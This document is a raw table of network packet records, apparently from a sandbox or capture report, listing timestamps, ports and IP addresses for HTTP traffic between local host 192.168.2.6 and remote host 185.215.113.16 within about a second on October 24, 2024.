Oct 24, 2024 11:02:35.530452013 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.530474901 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.530510902 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.530520916 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.530531883 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.530544043 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.530555964 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.530567884 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.530581951 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.530592918 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.530622005 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.530626059 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.530626059 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.530633926 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.530644894 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.530647993 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.530647993 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.530658007 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.530680895 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.530705929 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.530977964 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.531009912 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.531023026 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.531033993 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.531074047 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.531836987 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.531869888 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.531883001 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.531913996 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.531914949 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.531929016 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.531949043 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.531955957 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.531961918 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.531972885 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.531985998 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.531996965 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.532001019 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.532011032 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.532027960 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.532046080 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.532115936 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.532167912 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.532179117 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.532191038 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.532233000 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.532336950 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.532356024 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.532368898 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.532380104 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.532392025 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.532404900 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.532624960 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.532636881 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.532648087 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.532653093 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.532664061 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.532692909 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.538300037 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.538336992 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.538357973 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.538388014 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.538397074 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.538402081 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.538414001 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.538425922 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.538435936 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.538438082 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.538449049 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.538458109 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.538460970 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.538470030 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.538480997 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.538491964 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.538491964 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.538503885 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.538508892 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.538516045 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.538527012 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.538531065 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.538553953 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.538566113 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.538578987 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.538589954 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.538602114 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.538604975 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.538614035 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.538624048 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.538626909 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.538657904 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.538686037 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.539058924 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.539232969 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.539243937 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.539263010 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.539273977 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.539279938 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.539287090 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.539319992 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.539331913 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.539405107 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.539580107 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.539589882 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.539599895 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.539612055 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.539621115 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.539652109 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.539760113 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.539777994 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.539789915 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.539799929 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.539800882 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.539812088 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.539833069 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.539911985 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.540020943 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.540031910 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.540044069 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.540056944 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.540069103 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.540071964 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.540081978 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.540096045 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.540134907 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.544426918 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.586962938 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.587069035 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.587129116 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.587130070 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.587167978 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.587204933 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.587234974 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.587239981 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.587296009 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.587328911 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.587371111 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.587424994 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.587425947 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.587460995 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.587496042 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.587523937 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.587529898 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.587564945 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.587599993 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.587610006 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.587635994 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.587642908 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.587671041 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.587723017 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.587727070 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.587758064 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.587810040 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.587810993 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.587843895 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.587893009 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.587902069 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.587927103 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.587963104 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.587996006 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.588002920 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.588033915 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.588042021 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.637048006 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.647120953 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.647176981 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.647236109 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.647243023 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.647298098 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.647442102 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.647466898 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.647499084 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.647552013 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.647582054 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.647587061 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.647623062 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.647659063 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.647672892 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.647695065 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.647725105 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.647730112 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.647763968 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.647774935 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.647818089 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.647869110 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.647922993 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.647922993 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.647977114 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.648030043 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.648040056 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.648068905 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.648102045 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.648104906 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.648142099 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.648150921 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.648195982 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.648228884 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.648264885 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.648266077 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.648300886 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.648317099 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.648336887 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.648370028 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.648382902 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.648405075 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.648438931 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.648453951 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.648474932 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.648509979 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.648524046 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.648546934 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.648576975 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.648612976 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.648901939 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.648967028 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.649045944 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.649080038 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.649113894 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.649148941 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.649161100 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.649184942 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.649198055 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.649219036 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.649271011 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.649301052 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.649313927 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.649353981 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.649362087 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.649390936 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.649426937 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.649447918 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.649462938 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.649496078 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.649528980 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.649543047 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.649564981 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.649579048 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.649601936 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.649633884 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.649669886 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.649679899 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.649707079 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.649718046 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.649761915 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.649817944 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.649868011 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.649879932 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.649914026 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.649930000 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.649949074 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.649981976 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.650017977 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.650029898 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.650068045 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.828088045 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.833698034 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.112078905 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.112160921 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.112227917 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.112279892 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.112438917 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.112462997 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.112476110 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.112482071 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.112556934 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.112586021 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.112600088 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.112613916 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.112627029 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.112654924 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.112664938 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.112685919 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.112688065 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.112708092 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.112719059 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.112732887 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.112745047 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.112754107 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.112757921 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.112787008 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.112797022 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.112849951 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.112862110 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.112874031 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.112885952 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.112896919 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.112898111 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.112919092 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.112919092 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.112962008 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.112967014 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.112976074 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.112992048 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.113004923 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.113007069 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.113025904 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.113037109 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.113038063 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.113050938 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.113063097 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.113074064 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.113075972 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.113089085 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.113106966 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.113126993 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.113140106 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.113146067 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.113146067 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.113157988 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.113169909 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.113174915 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.113183975 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.113195896 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.113209963 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.113210917 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.113250017 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.113452911 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.113512993 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.113523960 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.113538980 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.113574982 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.113667011 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.113679886 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.113692999 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.113708019 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.113714933 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.113719940 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.113754034 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.113759995 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.113764048 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.113775969 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.113811970 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.113825083 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.113832951 CEST	80	49756	185.215.113.16	192.168.2.6
